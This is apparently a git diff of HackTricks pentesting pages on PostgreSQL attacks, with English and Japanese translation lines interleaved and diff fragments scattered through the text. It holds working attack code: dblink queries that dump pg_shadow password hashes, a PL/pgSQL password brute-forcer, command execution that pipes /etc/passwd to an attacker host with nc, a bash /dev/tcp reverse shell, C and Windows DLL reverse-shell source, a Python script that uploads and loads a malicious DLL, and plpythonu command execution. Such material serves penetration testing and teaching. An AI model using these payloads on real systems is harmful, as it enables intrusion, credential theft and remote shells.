'SELECT datname FROM pg_database')
RETURNS (result TEXT);
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
### ポートスキャン
### Port Scanning
Abusing `dblink_connect` you could also **search open ports**. If that \*\*function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_.
`dblink_connect`を悪用することで、**オープンポートを検索**することもできます。その**関数が機能しない場合は、ドキュメントによれば`dblink_connect_u()``dblink_connect()`と同一であり、非スーパーユーザーが任意の認証方法を使用して接続できるようにするため、`dblink_connect_u()`を使用してみるべきです\_。
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
@ -78,15 +69,11 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
Note that **before** being able to use `dblink_connect` or `dblink_connect_u` you may need to execute:
注意してください、`dblink_connect` または `dblink_connect_u` を使用する前に、次のコマンドを実行する必要があるかもしれません:
```
CREATE extension dblink;
```
### UNC path - NTLM hash disclosure
### UNCパス - NTLMハッシュ漏洩
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
@ -107,6 +94,4 @@ END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,122 +1,109 @@
# PL/pgSQL Password Bruteforce
# PL/pgSQL パスワードブルートフォース
{{#include ../../../banners/hacktricks-training.md}}
**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.
**[元の論文でこれらの攻撃に関する詳細情報を見つける](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**。
PL/pgSQL is a **fully featured programming language** that extends beyond the capabilities of SQL by offering **enhanced procedural control**. This includes the utilization of loops and various control structures. Functions crafted in the PL/pgSQL language can be invoked by SQL statements and triggers, broadening the scope of operations within the database environment.
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:
PL/pgSQLは、**強化された手続き制御**を提供することにより、SQLの能力を超えた**完全なプログラミング言語**です。これには、ループやさまざまな制御構造の利用が含まれます。PL/pgSQL言語で作成された関数は、SQL文やトリガーによって呼び出すことができ、データベース環境内の操作の範囲を広げます。
この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができますが、データベースに存在する必要があります。その存在を確認するには、次のコマンドを使用できます:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
lanname | lanacl
---------+---------
plpgsql |
```
By default, **creating functions is a privilege granted to PUBLIC**, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:
デフォルトでは、**関数の作成はPUBLICに付与された特権です**。ここでPUBLICは、そのデータベースシステム上のすべてのユーザーを指します。これを防ぐために、管理者はPUBLICドメインからUSAGE特権を取り消す必要がありました
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
In that case, our previous query would output different results:
その場合、以前のクエリは異なる結果を出力します:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Note that for the following script to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with&#x20;
次のスクリプトが機能するためには、**`dblink`関数が存在する必要があります**。存在しない場合は、次のように作成を試みることができます。
```sql
CREATE EXTENSION dblink;
```
## パスワードブルートフォース
## Password Brute Force
Here how you could perform a 4 chars password bruteforce:
4文字のパスワードブルートフォースを実行する方法は次のとおりです:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_4文字のブルートフォースでも数分かかることに注意してください。_
_Note that even brute-forcing 4 characters may take several minutes._
You could also **download a wordlist** and try only those passwords (dictionary attack):
**ワードリストをダウンロード**して、そのパスワードのみを試すこともできます(辞書攻撃):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,17 @@
## PostgreSQL Extensions
PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types.
PostgreSQLは、拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合できます。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の関数、演算子、または型を豊かにします。
From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used.
バージョン8.1以降、拡張ライブラリには特定の要件が課せられています特別なヘッダーでコンパイルされなければなりません。これがないと、PostgreSQLはそれらを実行せず、互換性があり、潜在的に安全な拡張機能のみが使用されることを保証します。
Also, keep in mind that **if you don't know how to** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
また、**もしあなたが** [**PostgreSQLを悪用して被害者にファイルをアップロードする方法を知らない場合は、この投稿を読むべきです。**](big-binary-files-upload-postgresql.md)
### RCE in Linux
**For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
**詳細については、次を確認してください: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
PostgreSQL 8.1およびそれ以前のバージョンからのシステムコマンドの実行は、明確に文書化されており、簡単なプロセスです。これを使用することが可能です: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -25,89 +24,79 @@ CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
```
<details>
<summary>Write binary file from base64</summary>
To write a binary into a file in postgres you might need to use base64, this will be helpful for that matter:
<summary>Base64からバイナリファイルを書く</summary>
Postgresでファイルにバイナリを書き込むには、base64を使用する必要があるかもしれません。これはそのために役立ちます:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
SELECT close(fh) INTO rs;
RETURN 0;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
END;
$$ LANGUAGE 'plpgsql';
```
</details>
However, when attempted on greater versions **the following error was shown**:
しかし、より新しいバージョンで試みたところ、**次のエラーが表示されました**:
```c
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
このエラーは[PostgreSQLのドキュメント](https://www.postgresql.org/docs/current/static/xfunc-c.html)で説明されています:
This error is explained in the [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないように、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つそして1つだけに次のように記述します
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.
PostgreSQLバージョン8.2以降、攻撃者がシステムを悪用するプロセスはより困難になりました。攻撃者は、システム上に既に存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、互換性のあるメジャーバージョンのPostgreSQLに対してコンパイルされ、特定の「マジックブロック」を含む必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上がり、システムのアーキテクチャやバージョンの互換性についてのより深い理解が必要になります。
#### Compile the library
Get the PsotgreSQL version with:
#### ライブラリをコンパイルする
次のコマンドでPostgreSQLのバージョンを取得します
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
互換性のために、メジャーバージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。
For compatibility, it is essential that the major versions align. Therefore, compiling a library with any version within the 9.6.x series should ensure successful integration.
To install that version in your system:
そのバージョンをシステムにインストールするには:
```bash
apt install postgresql postgresql-server-dev-9.6
```
And compile the library:
ライブラリをコンパイルします:
```c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
@ -120,27 +109,23 @@ PG_MODULE_MAGIC;
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
Then upload the compiled library and execute commands with:
次に、コンパイルされたライブラリをアップロードし、次のコマンドを実行します:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
You can find this **library precompiled** to several different PostgreSQL versions and even can **automate this process** (if you have PostgreSQL access) with:
この**ライブラリは事前コンパイル済み**で、いくつかの異なるPostgreSQLバージョンに対応しており、さらに**このプロセスを自動化することもできます**PostgreSQLへのアクセスがある場合
{% embed url="https://github.com/Dionach/pgexec" %}
### RCE in Windows
The following DLL takes as input the **name of the binary** and the **number** of **times** you want to execute it and executes it:
### WindowsでのRCE
次のDLLは、**バイナリの名前**と**実行したい回数**を入力として受け取り、それを実行します:
```c
#include "postgres.h"
#include <string.h>
@ -162,36 +147,32 @@ in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
```
You can find the DLL compiled in this zip:
このZIPファイルにコンパイルされたDLLがあります
{% file src="../../../images/pgsql_exec.zip" %}
You can indicate to this DLL **which binary to execute** and the number of time to execute it, in this example it will execute `calc.exe` 2 times:
このDLLに**実行するバイナリ**と実行回数を指定できます。この例では、`calc.exe`を2回実行します
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:
[**ここ** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)でこのリバースシェルを見つけることができます:
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
@ -213,46 +194,46 @@ PG_MODULE_MAGIC;
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
@ -264,91 +245,83 @@ PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
PG_RETURN_INT32(arg + 1);
}
```
Note how in this case the **malicious code is inside the DllMain function**. This means that in this case it isn't necessary to execute the loaded function in postgresql, just **loading the DLL** will **execute** the reverse shell:
この場合、**悪意のあるコードは DllMain 関数内にあります**。これは、この場合、postgresql で読み込まれた関数を実行する必要がなく、単に **DLL を読み込む** だけで **リバースシェルが実行される** ことを意味します。
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
[PolyUDFプロジェクト](https://github.com/rop-la/PolyUDF)は、完全なMS Visual Studioプロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ_command eval_、_exec_、_cleanup_を含むを備えた良い出発点です。
The [PolyUDF project](https://github.com/rop-la/PolyUDF) is also a good starting point with the full MS Visual Studio project and a ready to use library (including: _command eval_, _exec_ and _cleanup_) with multiversion support.
### 最新のPostgreSQLバージョンにおけるRCE
### RCE in newest Prostgres versions
**最新のバージョン**のPostgreSQLでは、`superuser`が特定のディレクトリWindowsでは`C:\Program Files\PostgreSQL\11\lib`、\*nixシステムでは`/var/lib/postgresql/11/lib`など)以外から共有ライブラリファイルを**ロード**することが**禁止**されています。これらのディレクトリは、NETWORK_SERVICEまたはpostgresアカウントによる書き込み操作から**保護**されています。
In the **latest versions** of PostgreSQL, restrictions have been imposed where the `superuser` is **prohibited** from **loading** shared library files except from specific directories, such as `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix systems. These directories are **secured** against write operations by either the NETWORK_SERVICE or postgres accounts.
これらの制限にもかかわらず、認証されたデータベースの`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイル**を書き込むことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内での書き込みにも及びます。
Despite these restrictions, it's possible for an authenticated database `superuser` to **write binary files** to the filesystem using "large objects." This capability extends to writing within the `C:\Program Files\PostgreSQL\11\data` directory, which is essential for database operations like updating or creating tables.
重要な脆弱性は、`CREATE FUNCTION`コマンドから生じます。このコマンドはデータディレクトリへの**ディレクトリトラバーサル**を**許可**します。その結果、認証された攻撃者はこのトラバーサルを**悪用**してデータディレクトリに共有ライブラリファイルを書き込み、次にそれを**ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。
A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.
#### 攻撃フロー
#### Attack flow
First of all you need to **use large objects to upload the dll**. You can see how to do that here:
まず、**大きなオブジェクトを使用してdllをアップロードする必要があります**。その方法はここで確認できます:
{{#ref}}
big-binary-files-upload-postgresql.md
{{#endref}}
Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:
拡張機能この例ではpoc.dllという名前をデータディレクトリにアップロードしたら、次のようにしてそれをロードできます
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_注意create関数が拡張子`.dll`を追加するため、付加する必要はありません。_
_Note that you don't need to append the `.dll` extension as the create function will add it._
For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\
In the same page this **exploit to automate** this technique was given:
詳細については、**[こちらの元の出版物を読む](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。\
その出版物では、**[postgres拡張を生成するために使用されたコード](https://github.com/sourceincite/tools/blob/master/pgpwn.c)**が示されています_postgres拡張をコンパイルする方法については、以前のバージョンのいずれかを参照してください_。\
同じページで、この技術を自動化するための**エクスプロイトが提供されました**
```python
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
```
## References
## 参考文献
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,36 +4,34 @@
## PostgreSQL Languages
The PostgreSQL database you got access to may have different **scripting languages installed** that you could abuse to **execute arbitrary code**.
You can **get them running**:
アクセスしたPostgreSQLデータベースには、**任意のコードを実行する**ために悪用できる異なる**スクリプト言語がインストールされている**可能性があります。
**それらを実行する**ことができます:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
Most of the scripting languages you can install in PostgreSQL have **2 flavours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. This are languages that if installed are interesting:
PostgreSQLにインストールできるスクリプト言語のほとんどには**2つの種類**があります:**trusted**と**untrusted**です。**untrusted**は**"u"で終わる名前**を持ち、**コードを実行**したり、他の興味深い機能を使用することを許可するバージョンです。インストールされていると興味深い言語は以下の通りです:
- **plpythonu**
- **plpython3u**
- **plperlu**
- **pljavaU**
- **plrubyu**
- ... (any other programming language using an insecure version)
- ...(不安全なバージョンを使用している他のプログラミング言語)
> [!WARNING]
> If you find that an interesting language is **installed** but **untrusted** by PostgreSQL (**`lanpltrusted`** is **`false`**) you can try to **trust it** with the following line so no restrictions will be applied by PostgreSQL:
> 興味深い言語が**インストール**されているが、PostgreSQLによって**untrusted**とされている場合(**`lanpltrusted`**が**`false`**)、以下の行を使って**信頼**させることができ、PostgreSQLによる制限が適用されなくなります
>
> ```sql
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
> # To check your permissions over the table pg_language
> # pg_languageテーブルに対する権限を確認するため
> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
> ```
> [!CAUTION]
> If you don't see a language, you could try to load it with (**you need to be superadmin**):
> 言語が見当たらない場合は、(**スーパ管理者である必要があります**)以下のコマンドでロードを試みることができます:
>
> ```
> CREATE EXTENSION plpythonu;
@ -43,248 +41,229 @@ Most of the scripting languages you can install in PostgreSQL have **2 flavours*
> CREATE EXTENSION plrubyu;
> ```
Note that it's possible to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one.
安全なバージョンを「不安全」としてコンパイルすることも可能であることに注意してください。例えば、[**これ**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)を確認してください。したがって、**trusted**のものしかインストールされていなくても、コードを実行できるかどうか試してみる価値があります。
## plpythonu/plpython3u
{{#tabs}}
{{#tab name="RCE"}}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{{#endtab}}
{{#tab name="Get OS user"}}
{{#tab name="OSユーザーを取得"}}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{{#endtab}}
